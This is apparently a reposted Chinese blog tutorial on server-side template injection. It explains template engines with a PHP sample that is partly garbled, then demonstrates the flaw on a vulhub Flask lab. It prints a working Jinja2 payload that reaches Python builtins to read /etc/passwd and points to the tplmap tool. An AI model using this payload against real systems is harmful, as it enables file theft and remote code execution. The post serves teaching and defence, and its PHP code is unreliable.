博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
SSTI(模板注入)
阅读量:7032 次
发布时间:2019-06-28

本文共 3001 字,大约阅读时间需要 10 分钟。

SSTI简介  

 何为模板引擎(SST)    

       百度百科:模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。   

       个人理解就是:一个html页面中没有实际内容,但是有变量,访问这个页面时需要将这个变量转换成预期的内容,这时候就需要用到模板引擎。php(或者其他脚本语言)代码通过访问模板引擎,模板引擎通过正则匹配产生一个新的缓存的html页面,从而实现php和html代码的分离。
从网上找了个小例子帮助我们更好的理解SST的作用,大波code来袭:   

tpl.func.php

'
', '{else}' => '
', '{else if %%}' => '
', '{elseif %%}' => '
', '{/if}' => '
', '{$%%}' => '
', '{foreach %%} ' => '
', '{/foreach}' => '
', '{for %%}' => '
', '{/for}' => '
', '{while %%}' => '
', '{/while}' => '
', '{continue}' => '
', '{break}' => '
', '{$%% = $%%}' => '
', '{$%%++}' => '
', '{$%%--}' => '
', '{comment}' => '
'*/?>', '{/*}' => '
'*?>', '{section}' => '
'?>', '{include %%}' => '
', ]; $file = file_get_contents($path); foreach ($keys as $key => $val) { $pattern = '#'. str_replace('%%', '(.+)', preg_quote($key,'#')) .'#imsU'; $replace = $val; if (stripos($pattern,'include')) { $file = preg_replace_callback($pattern, 'parseInclude', $file); } else{ $file = preg_replace($pattern, $replace, $file); } } return $file; } function parseInclude($data) { $path = str_replace(array('\'','"'),'',$data[1]); //data[1]就是-------footer.html $cacheFileName = parsePath($path); display($path); return '
'; }

config.php  

moban.html  

        {<div></div>   $title}                {
$content}

 

为什么要模板引擎   

  如果在一个页面中php代码与html代码混合在一起,在很多时候都会造成不便,用模板引擎可以让php代码和html代码进行分离。

为什么SST是危险的?   

  还是道哥的那句话,安全的本质是信任。SST信任了用户的输入,并且执行这些内容,包括执行本机函数。就像eval函数对传入的内容未加任何过滤一样。因此模板注入(SSTI)很容易导致远程代码执行(RCE)、信息泄露等漏洞。

实例演示   

本来准备找CTF题的,但是一直没找到,如果有师傅找到源码,望分享!   

这里就用vuhub的ssti测试一下   
访问页面是hello guest

 

 

因为看过app.py的源码,所以直接在后面加参数?name=123,显示hello 123

 

说明这里的name我们是被信任的(当它什么都没过滤),猜测存在ssti。   

接着再输入一个表达式{
{2*3}}

 

显示hello 6,验证了存在ssti。     

payload   
python3 :读取文件  

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{
{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

 

 

也可以用工具tplmap,挺好用   

https://github.com/epinna/tplmap   

 

如何防御SSTI?   

1.尽可能加载静态模板文件。
2.不要允许用户控制此类文件或其内容的路径。

参考

https://xi4or0uji.github.io/2019/01/17/2019-1-15-flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/   

https://blog.csdn.net/qq_40657585/article/details/83657220   

 

转载于:https://www.cnblogs.com/gzs-monkey/p/10727330.html

你可能感兴趣的文章
repost
查看>>
android异步加载AsyncTask
查看>>
GCC Stack-Smashing Protector
查看>>
虚拟机Visualbox安装Ubuntu Server
查看>>
用带余除法可以解决一切部分分式的题目
查看>>
vs 生成事件
查看>>
jmeter 实战项目总结2——微信端
查看>>
php.ini 中文版
查看>>
即时通信客户端流程,
查看>>
布隆过滤器redis缓存
查看>>
01-数据仓库之数据建模
查看>>
Nginx 安装
查看>>
hidesBottomBarWhenPushed 设置为NO的问题
查看>>
cisco常用命令详解
查看>>
谁在追踪谁?
查看>>
HTTP请求返回状态码详解
查看>>
句柄类
查看>>
GitLab
查看>>
【常用配置】Spring框架web.xml通用配置
查看>>
[leetcode 240]Search a 2D Matrix II
查看>>